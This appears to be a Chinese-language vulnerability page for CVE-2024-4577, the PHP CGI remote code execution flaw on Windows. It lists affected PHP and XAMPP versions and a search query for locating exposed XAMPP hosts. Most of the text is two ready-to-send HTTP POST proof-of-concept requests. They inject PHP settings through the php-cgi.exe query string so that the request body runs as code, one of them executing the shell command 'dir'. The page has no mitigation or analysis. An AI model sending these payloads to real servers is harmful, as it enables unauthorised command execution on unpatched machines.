PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)
资产
app="XAMPP"
影响范围
PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
PHP Windows版 影响版本 == 8.0.x
PHP Windows版 影响版本 == 7.x
PHP Windows版 影响版本 == 5.x
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
XAMPP Windows版 影响版本 == 8.0.x
XAMPP Windows版 影响版本 == 7.x
XAMPP Windows版 影响版本 == 5.x
poc1:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec('dir');?>
poc2:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
<?php die("Te"."sT");?>

浙公网安备 33010602011771号